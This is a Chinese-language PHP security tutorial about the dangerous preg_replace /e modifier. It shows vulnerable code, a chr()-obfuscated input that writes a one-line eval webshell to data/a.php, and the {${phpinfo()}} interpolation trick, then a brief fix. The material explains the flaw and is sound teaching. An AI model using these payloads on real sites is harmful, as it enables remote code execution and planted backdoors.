zoukankan      html  css  js  c++  java
  • 慎用preg_replace危险的/e修饰符(一句话后门常用)

    要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误
     
     

    preg_replace函数原型: 

    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 

    特别说明: 
    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 
    举例: 

    复制代码代码如下:

    <?php 
    preg_replace ("/(</?)(w+)([^>]*>)/e", 
    "1.strtoupper(2).3", 
    $html_body); 
    ?> 


    这将使输入字符串中的所有 HTML 标记变成大写。 

    安全威胁分析: 
    通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如: 

    复制代码代码如下:

    <? 
    echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
    ?> 


    如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。 
    如果我们提交下面的代码会怎么样呢? 
    ?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). 
    chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). 
    chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). 
    chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) 
    密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>); 
    执行的结果是在/data/目录下生成一个一句话木马文件 a.php。 

    再来一个有难度的例子: 

    复制代码代码如下:

    <? 
    function test($str) 


    echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]); 
    ?> 


    提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗? 
    肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。 
    有没有办法让它执行呢? 


    当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢? 
    在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 
    注意:双引号中的函数不会被执行和替换。 

    在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。 
    可以先做如下测试: 

    复制代码代码如下:

    echo "{${phpinfo()}}"; 


    phpinfo会被成功执行了。 

    如何防范这种漏洞呢? 
    将'test("1")' 修改为"test('1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
  • 相关阅读:
    nowcoderD Xieldy And His Password
    Codeforces681D Gifts by the List
    nowcoder80D applese的生日
    Codeforces961E Tufurama
    Codeforces957 Mahmoud and Ehab and yet another xor task
    nowcoder82E 无向图中的最短距离
    nowcoder82B 区间的连续段
    Codeforces903E Swapping Characters
    Codeforces614C Peter and Snow Blower
    Codeforces614D Skills
  • 原文地址:https://www.cnblogs.com/hechunhua/p/4319047.html
Copyright © 2011-2022 走看看